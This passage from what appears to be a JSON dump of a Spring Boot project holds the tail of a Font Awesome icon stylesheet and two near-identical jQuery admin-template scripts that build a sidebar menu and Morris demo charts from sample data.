\"\\f01a\";\n}\n.fa-arrow-circle-o-up:before {\n  content: \"\\f01b\";\n}\n.fa-inbox:before {\n  content: \"\\f01c\";\n}\n.fa-play-circle-o:before {\n  content: \"\\f01d\";\n}\n.fa-rotate-right:before,\n.fa-repeat:before {\n  content: \"\\f01e\";\n}\n.fa-refresh:before {\n  content: \"\\f021\";\n}\n.fa-list-alt:before {\n  content: \"\\f022\";\n}\n.fa-lock:before {\n  content: \"\\f023\";\n}\n.fa-flag:before {\n  content: \"\\f024\";\n}\n.fa-headphones:before {\n  content: \"\\f025\";\n}\n.fa-volume-off:before {\n  content: \"\\f026\";\n}\n.fa-volume-down:before {\n  content: \"\\f027\";\n}\n.fa-volume-up:before {\n  content: \"\\f028\";\n}\n.fa-qrcode:before {\n  content: \"\\f029\";\n}\n.fa-barcode:before {\n  content: \"\\f02a\";\n}\n.fa-tag:before {\n  content: \"\\f02b\";\n}\n.fa-tags:before {\n  content: \"\\f02c\";\n}\n.fa-book:before {\n  content: \"\\f02d\";\n}\n.fa-bookmark:before {\n  content: \"\\f02e\";\n}\n.fa-print:before {\n  content: \"\\f02f\";\n}\n.fa-camera:before {\n  content: \"\\f030\";\n}\n.fa-font:before {\n  content: \"\\f031\";\n}\n.fa-bold:before {\n  content: \"\\f032\";\n}\n.fa-italic:before {\n  content: \"\\f033\";\n}\n.fa-text-height:before {\n  content: \"\\f034\";\n}\n.fa-text-width:before {\n  content: \"\\f035\";\n}\n.fa-align-left:before {\n  content: \"\\f036\";\n}\n.fa-align-center:before {\n  content: \"\\f037\";\n}\n.fa-align-right:before {\n  content: \"\\f038\";\n}\n.fa-align-justify:before {\n  content: \"\\f039\";\n}\n.fa-list:before {\n  content: \"\\f03a\";\n}\n.fa-dedent:before,\n.fa-outdent:before {\n  content: \"\\f03b\";\n}\n.fa-indent:before {\n  content: \"\\f03c\";\n}\n.fa-video-camera:before {\n  content: \"\\f03d\";\n}\n.fa-picture-o:before {\n  content: \"\\f03e\";\n}\n.fa-pencil:before {\n  content: \"\\f040\";\n}\n.fa-map-marker:before {\n  content: \"\\f041\";\n}\n.fa-adjust:before {\n  content: \"\\f042\";\n}\n.fa-tint:before {\n  content: \"\\f043\";\n}\n.fa-edit:before,\n.fa-pencil-square-o:before {\n  content: \"\\f044\";\n}\n.fa-share-square-o:before {\n  content: \"\\f045\";\n}\n.fa-check-square-o:before {\n  content: \"\\f046\";\n}\n.fa-arrows:before {\n  content: \"\\f047\";\n}\n.fa-step-backward:before {\n  content: \"\\f048\";\n}\n.fa-fast-backward:before {\n  content: \"\\f049\";\n}\n.fa-backward:before {\n  content: \"\\f04a\";\n}\n.fa-play:before {\n  content: \"\\f04b\";\n}\n.fa-pause:before {\n  content: \"\\f04c\";\n}\n.fa-stop:before {\n  content: \"\\f04d\";\n}\n.fa-forward:before {\n  content: \"\\f04e\";\n}\n.fa-fast-forward:before {\n  content: \"\\f050\";\n}\n.fa-step-forward:before {\n  content: \"\\f051\";\n}\n.fa-eject:before {\n  content: \"\\f052\";\n}\n.fa-chevron-left:before {\n  content: \"\\f053\";\n}\n.fa-chevron-right:before {\n  content: \"\\f054\";\n}\n.fa-plus-circle:before {\n  content: \"\\f055\";\n}\n.fa-minus-circle:before {\n  content: \"\\f056\";\n}\n.fa-times-circle:before {\n  content: \"\\f057\";\n}\n.fa-check-circle:before {\n  content: \"\\f058\";\n}\n.fa-question-circle:before {\n  content: \"\\f059\";\n}\n.fa-info-circle:before {\n  content: \"\\f05a\";\n}\n.fa-crosshairs:before {\n  content: \"\\f05b\";\n}\n.fa-times-circle-o:before {\n  content: \"\\f05c\";\n}\n.fa-check-circle-o:before {\n  content: \"\\f05d\";\n}\n.fa-ban:before {\n  content: \"\\f05e\";\n}\n.fa-arrow-left:before {\n  content: \"\\f060\";\n}\n.fa-arrow-right:before {\n  content: \"\\f061\";\n}\n.fa-arrow-up:before {\n  content: \"\\f062\";\n}\n.fa-arrow-down:before {\n  content: \"\\f063\";\n}\n.fa-mail-forward:before,\n.fa-share:before {\n  content: \"\\f064\";\n}\n.fa-expand:before {\n  content: \"\\f065\";\n}\n.fa-compress:before {\n  content: \"\\f066\";\n}\n.fa-plus:before {\n  content: \"\\f067\";\n}\n.fa-minus:before {\n  content: \"\\f068\";\n}\n.fa-asterisk:before {\n  content: \"\\f069\";\n}\n.fa-exclamation-circle:before {\n  content: \"\\f06a\";\n}\n.fa-gift:before {\n  content: \"\\f06b\";\n}\n.fa-leaf:before {\n  content: \"\\f06c\";\n}\n.fa-fire:before {\n  content: \"\\f06d\";\n}\n.fa-eye:before {\n  content: \"\\f06e\";\n}\n.fa-eye-slash:before {\n  content: \"\\f070\";\n}\n.fa-warning:before,\n.fa-exclamation-triangle:before {\n  content: \"\\f071\";\n}\n.fa-plane:before {\n  content: \"\\f072\";\n}\n.fa-calendar:before {\n  content: \"\\f073\";\n}\n.fa-random:before {\n  content: \"\\f074\";\n}\n.fa-comment:before {\n  content: \"\\f075\";\n}\n.fa-magnet:before {\n  content: \"\\f076\";\n}\n.fa-chevron-up:before {\n  content: \"\\f077\";\n}\n.fa-chevron-down:before {\n  content: \"\\f078\";\n}\n.fa-retweet:before {\n  content: \"\\f079\";\n}\n.fa-shopping-cart:before {\n  content: \"\\f07a\";\n}\n.fa-folder:before {\n  content: \"\\f07b\";\n}\n.fa-folder-open:before {\n  content: \"\\f07c\";\n}\n.fa-arrows-v:before {\n  content: \"\\f07d\";\n}\n.fa-arrows-h:before {\n  content: \"\\f07e\";\n}\n.fa-bar-chart-o:before {\n  content: \"\\f080\";\n}\n.fa-twitter-square:before {\n  content: \"\\f081\";\n}\n.fa-facebook-square:before {\n  content: \"\\f082\";\n}\n.fa-camera-retro:before {\n  content: \"\\f083\";\n}\n.fa-key:before {\n  content: \"\\f084\";\n}\n.fa-gears:before,\n.fa-cogs:before {\n  content: \"\\f085\";\n}\n.fa-comments:before {\n  content: \"\\f086\";\n}\n.fa-thumbs-o-up:before {\n  content: \"\\f087\";\n}\n.fa-thumbs-o-down:before {\n  content: \"\\f088\";\n}\n.fa-star-half:before {\n  content: \"\\f089\";\n}\n.fa-heart-o:before {\n  content: \"\\f08a\";\n}\n.fa-sign-out:before {\n  content: \"\\f08b\";\n}\n.fa-linkedin-square:before {\n  content: \"\\f08c\";\n}\n.fa-thumb-tack:before {\n  content: \"\\f08d\";\n}\n.fa-external-link:before {\n  content: \"\\f08e\";\n}\n.fa-sign-in:before {\n  content: \"\\f090\";\n}\n.fa-trophy:before {\n  content: \"\\f091\";\n}\n.fa-github-square:before {\n  content: \"\\f092\";\n}\n.fa-upload:before {\n  content: \"\\f093\";\n}\n.fa-lemon-o:before {\n  content: \"\\f094\";\n}\n.fa-phone:before {\n  content: \"\\f095\";\n}\n.fa-square-o:before {\n  content: \"\\f096\";\n}\n.fa-bookmark-o:before {\n  content: \"\\f097\";\n}\n.fa-phone-square:before {\n  content: \"\\f098\";\n}\n.fa-twitter:before {\n  content: \"\\f099\";\n}\n.fa-facebook:before {\n  content: \"\\f09a\";\n}\n.fa-github:before {\n  content: \"\\f09b\";\n}\n.fa-unlock:before {\n  content: \"\\f09c\";\n}\n.fa-credit-card:before {\n  content: \"\\f09d\";\n}\n.fa-rss:before {\n  content: \"\\f09e\";\n}\n.fa-hdd-o:before {\n  content: \"\\f0a0\";\n}\n.fa-bullhorn:before {\n  content: \"\\f0a1\";\n}\n.fa-bell:before {\n  content: \"\\f0f3\";\n}\n.fa-certificate:before {\n  content: \"\\f0a3\";\n}\n.fa-hand-o-right:before {\n  content: \"\\f0a4\";\n}\n.fa-hand-o-left:before {\n  content: \"\\f0a5\";\n}\n.fa-hand-o-up:before {\n  content: \"\\f0a6\";\n}\n.fa-hand-o-down:before {\n  content: \"\\f0a7\";\n}\n.fa-arrow-circle-left:before {\n  content: \"\\f0a8\";\n}\n.fa-arrow-circle-right:before {\n  content: \"\\f0a9\";\n}\n.fa-arrow-circle-up:before {\n  content: \"\\f0aa\";\n}\n.fa-arrow-circle-down:before {\n  content: \"\\f0ab\";\n}\n.fa-globe:before {\n  content: \"\\f0ac\";\n}\n.fa-wrench:before {\n  content: \"\\f0ad\";\n}\n.fa-tasks:before {\n  content: \"\\f0ae\";\n}\n.fa-filter:before {\n  content: \"\\f0b0\";\n}\n.fa-briefcase:before {\n  content: \"\\f0b1\";\n}\n.fa-arrows-alt:before {\n  content: \"\\f0b2\";\n}\n.fa-group:before,\n.fa-users:before {\n  content: \"\\f0c0\";\n}\n.fa-chain:before,\n.fa-link:before {\n  content: \"\\f0c1\";\n}\n.fa-cloud:before {\n  content: \"\\f0c2\";\n}\n.fa-flask:before {\n  content: \"\\f0c3\";\n}\n.fa-cut:before,\n.fa-scissors:before {\n  content: \"\\f0c4\";\n}\n.fa-copy:before,\n.fa-files-o:before {\n  content: \"\\f0c5\";\n}\n.fa-paperclip:before {\n  content: \"\\f0c6\";\n}\n.fa-save:before,\n.fa-floppy-o:before {\n  content: \"\\f0c7\";\n}\n.fa-square:before {\n  content: \"\\f0c8\";\n}\n.fa-bars:before {\n  content: \"\\f0c9\";\n}\n.fa-list-ul:before {\n  content: \"\\f0ca\";\n}\n.fa-list-ol:before {\n  content: \"\\f0cb\";\n}\n.fa-strikethrough:before {\n  content: \"\\f0cc\";\n}\n.fa-underline:before {\n  content: \"\\f0cd\";\n}\n.fa-table:before {\n  content: \"\\f0ce\";\n}\n.fa-magic:before {\n  content: \"\\f0d0\";\n}\n.fa-truck:before {\n  content: \"\\f0d1\";\n}\n.fa-pinterest:before {\n  content: \"\\f0d2\";\n}\n.fa-pinterest-square:before {\n  content: \"\\f0d3\";\n}\n.fa-google-plus-square:before {\n  content: \"\\f0d4\";\n}\n.fa-google-plus:before {\n  content: \"\\f0d5\";\n}\n.fa-money:before {\n  content: \"\\f0d6\";\n}\n.fa-caret-down:before {\n  content: \"\\f0d7\";\n}\n.fa-caret-up:before {\n  content: \"\\f0d8\";\n}\n.fa-caret-left:before {\n  content: \"\\f0d9\";\n}\n.fa-caret-right:before {\n  content: \"\\f0da\";\n}\n.fa-columns:before {\n  content: \"\\f0db\";\n}\n.fa-unsorted:before,\n.fa-sort:before {\n  content: \"\\f0dc\";\n}\n.fa-sort-down:before,\n.fa-sort-asc:before {\n  content: \"\\f0dd\";\n}\n.fa-sort-up:before,\n.fa-sort-desc:before {\n  content: \"\\f0de\";\n}\n.fa-envelope:before {\n  content: \"\\f0e0\";\n}\n.fa-linkedin:before {\n  content: \"\\f0e1\";\n}\n.fa-rotate-left:before,\n.fa-undo:before {\n  content: \"\\f0e2\";\n}\n.fa-legal:before,\n.fa-gavel:before {\n  content: \"\\f0e3\";\n}\n.fa-dashboard:before,\n.fa-tachometer:before {\n  content: \"\\f0e4\";\n}\n.fa-comment-o:before {\n  content: \"\\f0e5\";\n}\n.fa-comments-o:before {\n  content: \"\\f0e6\";\n}\n.fa-flash:before,\n.fa-bolt:before {\n  content: \"\\f0e7\";\n}\n.fa-sitemap:before {\n  content: \"\\f0e8\";\n}\n.fa-umbrella:before {\n  content: \"\\f0e9\";\n}\n.fa-paste:before,\n.fa-clipboard:before {\n  content: \"\\f0ea\";\n}\n.fa-lightbulb-o:before {\n  content: \"\\f0eb\";\n}\n.fa-exchange:before {\n  content: \"\\f0ec\";\n}\n.fa-cloud-download:before {\n  content: \"\\f0ed\";\n}\n.fa-cloud-upload:before {\n  content: \"\\f0ee\";\n}\n.fa-user-md:before {\n  content: \"\\f0f0\";\n}\n.fa-stethoscope:before {\n  content: \"\\f0f1\";\n}\n.fa-suitcase:before {\n  content: \"\\f0f2\";\n}\n.fa-bell-o:before {\n  content: \"\\f0a2\";\n}\n.fa-coffee:before {\n  content: \"\\f0f4\";\n}\n.fa-cutlery:before {\n  content: \"\\f0f5\";\n}\n.fa-file-text-o:before {\n  content: \"\\f0f6\";\n}\n.fa-building-o:before {\n  content: \"\\f0f7\";\n}\n.fa-hospital-o:before {\n  content: \"\\f0f8\";\n}\n.fa-ambulance:before {\n  content: \"\\f0f9\";\n}\n.fa-medkit:before {\n  content: \"\\f0fa\";\n}\n.fa-fighter-jet:before {\n  content: \"\\f0fb\";\n}\n.fa-beer:before {\n  content: \"\\f0fc\";\n}\n.fa-h-square:before {\n  content: \"\\f0fd\";\n}\n.fa-plus-square:before {\n  content: \"\\f0fe\";\n}\n.fa-angle-double-left:before {\n  content: \"\\f100\";\n}\n.fa-angle-double-right:before {\n  content: \"\\f101\";\n}\n.fa-angle-double-up:before {\n  content: \"\\f102\";\n}\n.fa-angle-double-down:before {\n  content: \"\\f103\";\n}\n.fa-angle-left:before {\n  content: \"\\f104\";\n}\n.fa-angle-right:before {\n  content: \"\\f105\";\n}\n.fa-angle-up:before {\n  content: \"\\f106\";\n}\n.fa-angle-down:before {\n  content: \"\\f107\";\n}\n.fa-desktop:before {\n  content: \"\\f108\";\n}\n.fa-laptop:before {\n  content: \"\\f109\";\n}\n.fa-tablet:before {\n  content: \"\\f10a\";\n}\n.fa-mobile-phone:before,\n.fa-mobile:before {\n  content: \"\\f10b\";\n}\n.fa-circle-o:before {\n  content: \"\\f10c\";\n}\n.fa-quote-left:before {\n  content: \"\\f10d\";\n}\n.fa-quote-right:before {\n  content: \"\\f10e\";\n}\n.fa-spinner:before {\n  content: \"\\f110\";\n}\n.fa-circle:before {\n  content: \"\\f111\";\n}\n.fa-mail-reply:before,\n.fa-reply:before {\n  content: \"\\f112\";\n}\n.fa-github-alt:before {\n  content: \"\\f113\";\n}\n.fa-folder-o:before {\n  content: \"\\f114\";\n}\n.fa-folder-open-o:before {\n  content: \"\\f115\";\n}\n.fa-smile-o:before {\n  content: \"\\f118\";\n}\n.fa-frown-o:before {\n  content: \"\\f119\";\n}\n.fa-meh-o:before {\n  content: \"\\f11a\";\n}\n.fa-gamepad:before {\n  content: \"\\f11b\";\n}\n.fa-keyboard-o:before {\n  content: \"\\f11c\";\n}\n.fa-flag-o:before {\n  content: \"\\f11d\";\n}\n.fa-flag-checkered:before {\n  content: \"\\f11e\";\n}\n.fa-terminal:before {\n  content: \"\\f120\";\n}\n.fa-code:before {\n  content: \"\\f121\";\n}\n.fa-reply-all:before {\n  content: \"\\f122\";\n}\n.fa-mail-reply-all:before {\n  content: \"\\f122\";\n}\n.fa-star-half-empty:before,\n.fa-star-half-full:before,\n.fa-star-half-o:before {\n  content: \"\\f123\";\n}\n.fa-location-arrow:before {\n  content: \"\\f124\";\n}\n.fa-crop:before {\n  content: \"\\f125\";\n}\n.fa-code-fork:before {\n  content: \"\\f126\";\n}\n.fa-unlink:before,\n.fa-chain-broken:before {\n  content: \"\\f127\";\n}\n.fa-question:before {\n  content: \"\\f128\";\n}\n.fa-info:before {\n  content: \"\\f129\";\n}\n.fa-exclamation:before {\n  content: \"\\f12a\";\n}\n.fa-superscript:before {\n  content: \"\\f12b\";\n}\n.fa-subscript:before {\n  content: \"\\f12c\";\n}\n.fa-eraser:before {\n  content: \"\\f12d\";\n}\n.fa-puzzle-piece:before {\n  content: \"\\f12e\";\n}\n.fa-microphone:before {\n  content: \"\\f130\";\n}\n.fa-microphone-slash:before {\n  content: \"\\f131\";\n}\n.fa-shield:before {\n  content: \"\\f132\";\n}\n.fa-calendar-o:before {\n  content: \"\\f133\";\n}\n.fa-fire-extinguisher:before {\n  content: \"\\f134\";\n}\n.fa-rocket:before {\n  content: \"\\f135\";\n}\n.fa-maxcdn:before {\n  content: \"\\f136\";\n}\n.fa-chevron-circle-left:before {\n  content: \"\\f137\";\n}\n.fa-chevron-circle-right:before {\n  content: \"\\f138\";\n}\n.fa-chevron-circle-up:before {\n  content: \"\\f139\";\n}\n.fa-chevron-circle-down:before {\n  content: \"\\f13a\";\n}\n.fa-html5:before {\n  content: \"\\f13b\";\n}\n.fa-css3:before {\n  content: \"\\f13c\";\n}\n.fa-anchor:before {\n  content: \"\\f13d\";\n}\n.fa-unlock-alt:before {\n  content: \"\\f13e\";\n}\n.fa-bullseye:before {\n  content: \"\\f140\";\n}\n.fa-ellipsis-h:before {\n  content: \"\\f141\";\n}\n.fa-ellipsis-v:before {\n  content: \"\\f142\";\n}\n.fa-rss-square:before {\n  content: \"\\f143\";\n}\n.fa-play-circle:before {\n  content: \"\\f144\";\n}\n.fa-ticket:before {\n  content: \"\\f145\";\n}\n.fa-minus-square:before {\n  content: \"\\f146\";\n}\n.fa-minus-square-o:before {\n  content: \"\\f147\";\n}\n.fa-level-up:before {\n  content: \"\\f148\";\n}\n.fa-level-down:before {\n  content: \"\\f149\";\n}\n.fa-check-square:before {\n  content: \"\\f14a\";\n}\n.fa-pencil-square:before {\n  content: \"\\f14b\";\n}\n.fa-external-link-square:before {\n  content: \"\\f14c\";\n}\n.fa-share-square:before {\n  content: \"\\f14d\";\n}\n.fa-compass:before {\n  content: \"\\f14e\";\n}\n.fa-toggle-down:before,\n.fa-caret-square-o-down:before {\n  content: \"\\f150\";\n}\n.fa-toggle-up:before,\n.fa-caret-square-o-up:before {\n  content: \"\\f151\";\n}\n.fa-toggle-right:before,\n.fa-caret-square-o-right:before {\n  content: \"\\f152\";\n}\n.fa-euro:before,\n.fa-eur:before {\n  content: \"\\f153\";\n}\n.fa-gbp:before {\n  content: \"\\f154\";\n}\n.fa-dollar:before,\n.fa-usd:before {\n  content: \"\\f155\";\n}\n.fa-rupee:before,\n.fa-inr:before {\n  content: \"\\f156\";\n}\n.fa-cny:before,\n.fa-rmb:before,\n.fa-yen:before,\n.fa-jpy:before {\n  content: \"\\f157\";\n}\n.fa-ruble:before,\n.fa-rouble:before,\n.fa-rub:before {\n  content: \"\\f158\";\n}\n.fa-won:before,\n.fa-krw:before {\n  content: \"\\f159\";\n}\n.fa-bitcoin:before,\n.fa-btc:before {\n  content: \"\\f15a\";\n}\n.fa-file:before {\n  content: \"\\f15b\";\n}\n.fa-file-text:before {\n  content: \"\\f15c\";\n}\n.fa-sort-alpha-asc:before {\n  content: \"\\f15d\";\n}\n.fa-sort-alpha-desc:before {\n  content: \"\\f15e\";\n}\n.fa-sort-amount-asc:before {\n  content: \"\\f160\";\n}\n.fa-sort-amount-desc:before {\n  content: \"\\f161\";\n}\n.fa-sort-numeric-asc:before {\n  content: \"\\f162\";\n}\n.fa-sort-numeric-desc:before {\n  content: \"\\f163\";\n}\n.fa-thumbs-up:before {\n  content: \"\\f164\";\n}\n.fa-thumbs-down:before {\n  content: \"\\f165\";\n}\n.fa-youtube-square:before {\n  content: \"\\f166\";\n}\n.fa-youtube:before {\n  content: \"\\f167\";\n}\n.fa-xing:before {\n  content: \"\\f168\";\n}\n.fa-xing-square:before {\n  content: \"\\f169\";\n}\n.fa-youtube-play:before {\n  content: \"\\f16a\";\n}\n.fa-dropbox:before {\n  content: \"\\f16b\";\n}\n.fa-stack-overflow:before {\n  content: \"\\f16c\";\n}\n.fa-instagram:before {\n  content: \"\\f16d\";\n}\n.fa-flickr:before {\n  content: \"\\f16e\";\n}\n.fa-adn:before {\n  content: \"\\f170\";\n}\n.fa-bitbucket:before {\n  content: \"\\f171\";\n}\n.fa-bitbucket-square:before {\n  content: \"\\f172\";\n}\n.fa-tumblr:before {\n  content: \"\\f173\";\n}\n.fa-tumblr-square:before {\n  content: \"\\f174\";\n}\n.fa-long-arrow-down:before {\n  content: \"\\f175\";\n}\n.fa-long-arrow-up:before {\n  content: \"\\f176\";\n}\n.fa-long-arrow-left:before {\n  content: \"\\f177\";\n}\n.fa-long-arrow-right:before {\n  content: \"\\f178\";\n}\n.fa-apple:before {\n  content: \"\\f179\";\n}\n.fa-windows:before {\n  content: \"\\f17a\";\n}\n.fa-android:before {\n  content: \"\\f17b\";\n}\n.fa-linux:before {\n  content: \"\\f17c\";\n}\n.fa-dribbble:before {\n  content: \"\\f17d\";\n}\n.fa-skype:before {\n  content: \"\\f17e\";\n}\n.fa-foursquare:before {\n  content: \"\\f180\";\n}\n.fa-trello:before {\n  content: \"\\f181\";\n}\n.fa-female:before {\n  content: \"\\f182\";\n}\n.fa-male:before {\n  content: \"\\f183\";\n}\n.fa-gittip:before {\n  content: \"\\f184\";\n}\n.fa-sun-o:before {\n  content: \"\\f185\";\n}\n.fa-moon-o:before {\n  content: \"\\f186\";\n}\n.fa-archive:before {\n  content: \"\\f187\";\n}\n.fa-bug:before {\n  content: \"\\f188\";\n}\n.fa-vk:before {\n  content: \"\\f189\";\n}\n.fa-weibo:before {\n  content: \"\\f18a\";\n}\n.fa-renren:before {\n  content: \"\\f18b\";\n}\n.fa-pagelines:before {\n  content: \"\\f18c\";\n}\n.fa-stack-exchange:before {\n  content: \"\\f18d\";\n}\n.fa-arrow-circle-o-right:before {\n  content: \"\\f18e\";\n}\n.fa-arrow-circle-o-left:before {\n  content: \"\\f190\";\n}\n.fa-toggle-left:before,\n.fa-caret-square-o-left:before {\n  content: \"\\f191\";\n}\n.fa-dot-circle-o:before {\n  content: \"\\f192\";\n}\n.fa-wheelchair:before {\n  content: \"\\f193\";\n}\n.fa-vimeo-square:before {\n  content: \"\\f194\";\n}\n.fa-turkish-lira:before,\n.fa-try:before {\n  content: \"\\f195\";\n}\n.fa-plus-square-o:before {\n  content: \"\\f196\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/custom-scripts.js",
    "content": "/*------------------------------------------------------\n    Author : www.webthemez.com\n    License: Commons Attribution 3.0\n    http://creativecommons.org/licenses/by/3.0/\n---------------------------------------------------------  */\n\n(function ($) {\n    \"use strict\";\n    var mainApp = {\n\n        initFunction: function () {\n            /*MENU \n            ------------------------------------*/\n            $('#main-menu').metisMenu();\n\t\t\t\n            $(window).bind(\"load resize\", function () {\n                if ($(this).width() < 768) {\n                    $('div.sidebar-collapse').addClass('collapse')\n                } else {\n                    $('div.sidebar-collapse').removeClass('collapse')\n                }\n            });\n\n            /* MORRIS BAR CHART\n\t\t\t-----------------------------------------*/\n            Morris.Bar({\n                element: 'morris-bar-chart',\n                data: [{\n                    y: '2006',\n                    a: 100,\n                    b: 90\n                }, {\n                    y: '2007',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2008',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2009',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2010',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2011',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2012',\n                    a: 100,\n                    b: 90\n                }],\n                xkey: 'y',\n                ykeys: ['a', 'b'],\n                labels: ['Series A', 'Series B'],\n                hideHover: 'auto',\n                resize: true\n            });\n\n            /* MORRIS DONUT CHART\n\t\t\t----------------------------------------*/\n            Morris.Donut({\n                element: 'morris-donut-chart',\n                data: [{\n                    label: \"Download Sales\",\n                    value: 12\n                }, {\n                    label: \"In-Store Sales\",\n                    value: 30\n                }, {\n                    label: \"Mail-Order Sales\",\n                    value: 20\n                }],\n                resize: true\n            });\n\n            /* MORRIS AREA CHART\n\t\t\t----------------------------------------*/\n\n            Morris.Area({\n                element: 'morris-area-chart',\n                data: [{\n                    period: '2010 Q1',\n                    iphone: 2666,\n                    ipad: null,\n                    itouch: 2647\n                }, {\n                    period: '2010 Q2',\n                    iphone: 2778,\n                    ipad: 2294,\n                    itouch: 2441\n                }, {\n                    period: '2010 Q3',\n                    iphone: 4912,\n                    ipad: 1969,\n                    itouch: 2501\n                }, {\n                    period: '2010 Q4',\n                    iphone: 3767,\n                    ipad: 3597,\n                    itouch: 5689\n                }, {\n                    period: '2011 Q1',\n                    iphone: 6810,\n                    ipad: 1914,\n                    itouch: 2293\n                }, {\n                    period: '2011 Q2',\n                    iphone: 5670,\n                    ipad: 4293,\n                    itouch: 1881\n                }, {\n                    period: '2011 Q3',\n                    iphone: 4820,\n                    ipad: 3795,\n                    itouch: 1588\n                }, {\n                    period: '2011 Q4',\n                    iphone: 15073,\n                    ipad: 5967,\n                    itouch: 5175\n                }, {\n                    period: '2012 Q1',\n                    iphone: 10687,\n                    ipad: 4460,\n                    itouch: 2028\n                }, {\n                    period: '2012 Q2',\n                    iphone: 8432,\n                    ipad: 5713,\n                    itouch: 1791\n                }],\n                xkey: 'period',\n                ykeys: ['iphone', 'ipad', 'itouch'],\n                labels: ['iPhone', 'iPad', 'iPod Touch'],\n                pointSize: 2,\n                hideHover: 'auto',\n                resize: true\n            });\n\n            /* MORRIS LINE CHART\n\t\t\t----------------------------------------*/\n            Morris.Line({\n                element: 'morris-line-chart',\n                data: [{\n                    y: '2006',\n                    a: 100,\n                    b: 90\n                }, {\n                    y: '2007',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2008',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2009',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2010',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2011',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2012',\n                    a: 100,\n                    b: 90\n                }],\n                xkey: 'y',\n                ykeys: ['a', 'b'],\n                labels: ['Series A', 'Series B'],\n                hideHover: 'auto',\n                resize: true\n            });\n           \n     \n        },\n\n        initialization: function () {\n            mainApp.initFunction();\n\n        }\n\n    }\n    // Initializing ///\n\n    $(document).ready(function () {\n        mainApp.initFunction();\n    });\n\n}(jQuery));\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/custom.js",
    "content": "/*------------------------------------------------------\n    Author : www.webthemez.com\n    License: Commons Attribution 3.0\n    http://creativecommons.org/licenses/by/3.0/\n---------------------------------------------------------  */\n\n(function ($) {\n    \"use strict\";\n    var mainApp = {\n\n        initFunction: function () {\n            /*MENU \n            ------------------------------------*/\n            $('#main-menu').metisMenu();\n\t\t\t\n            $(window).bind(\"load resize\", function () {\n                if ($(this).width() < 768) {\n                    $('div.sidebar-collapse').addClass('collapse')\n                } else {\n                    $('div.sidebar-collapse').removeClass('collapse')\n                }\n            });\n\n            /* MORRIS BAR CHART\n\t\t\t-----------------------------------------*/\n            Morris.Bar({\n                element: 'morris-bar-chart',\n                data: [{\n                    y: '2006',\n                    a: 100,\n                    b: 90\n                }, {\n                    y: '2007',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2008',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2009',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2010',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2011',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2012',\n                    a: 100,\n                    b: 90\n                }],\n                xkey: 'y',\n                ykeys: ['a', 'b'],\n                labels: ['Series A', 'Series B'],\n                hideHover: 'auto',\n                resize: true\n            });\n\n            /* MORRIS DONUT CHART\n\t\t\t----------------------------------------*/\n            Morris.Donut({\n                element: 'morris-donut-chart',\n                data: [{\n                    label: \"Download Sales\",\n                    value: 12\n                }, {\n                    label: \"In-Store Sales\",\n                    value: 30\n                }, {\n                    label: \"Mail-Order Sales\",\n                    value: 20\n                }],\n                resize: true\n            });\n\n            /* MORRIS AREA CHART\n\t\t\t----------------------------------------*/\n\n            Morris.Area({\n                element: 'morris-area-chart',\n                data: [{\n                    period: '2010 Q1',\n                    iphone: 2666,\n                    ipad: null,\n                    itouch: 2647\n                }, {\n                    period: '2010 Q2',\n                    iphone: 2778,\n                    ipad: 2294,\n                    itouch: 2441\n                }, {\n                    period: '2010 Q3',\n                    iphone: 4912,\n                    ipad: 1969,\n                    itouch: 2501\n                }, {\n                    period: '2010 Q4',\n                    iphone: 3767,\n                    ipad: 3597,\n                    itouch: 5689\n                }, {\n                    period: '2011 Q1',\n                    iphone: 6810,\n                    ipad: 1914,\n                    itouch: 2293\n                }, {\n                    period: '2011 Q2',\n                    iphone: 5670,\n                    ipad: 4293,\n                    itouch: 1881\n                }, {\n                    period: '2011 Q3',\n                    iphone: 4820,\n                    ipad: 3795,\n                    itouch: 1588\n                }, {\n                    period: '2011 Q4',\n                    iphone: 15073,\n                    ipad: 5967,\n                    itouch: 5175\n                }, {\n                    period: '2012 Q1',\n                    iphone: 10687,\n                    ipad: 4460,\n                    itouch: 2028\n                }, {\n                    period: '2012 Q2',\n                    iphone: 8432,\n                    ipad: 5713,\n                    itouch: 1791\n                }],\n                xkey: 'period',\n                ykeys: ['iphone', 'ipad', 'itouch'],\n                labels: ['iPhone', 'iPad', 'iPod Touch'],\n                pointSize: 2,\n                hideHover: 'auto',\n                resize: true\n            });\n\n            /* MORRIS LINE CHART\n\t\t\t----------------------------------------*/\n            Morris.Line({\n                element: 'morris-line-chart',\n                data: [{\n                    y: '2006',\n                    a: 100,\n                    b: 90\n                }, {\n                    y: '2007',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2008',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2009',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2010',\n                    a: 50,\n                    b: 40\n                }, {\n                    y: '2011',\n                    a: 75,\n                    b: 65\n                }, {\n                    y: '2012',\n                    a: 100,\n                    b: 90\n                }],\n                xkey: 'y',\n                ykeys: ['a', 'b'],\n                labels: ['Series A', 'Series B'],\n                hideHover: 'auto',\n                resize: true\n            });\n           \n     \n        },\n\n        initialization: function () {\n            mainApp.initFunction();\n\n        }\n\n    }\n    // Initializing ///\n\n    $(document).ready(function () {\n        mainApp.initFunction();\n    });\n\n}(jQuery));\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/dataTables/dataTables.bootstrap.css",
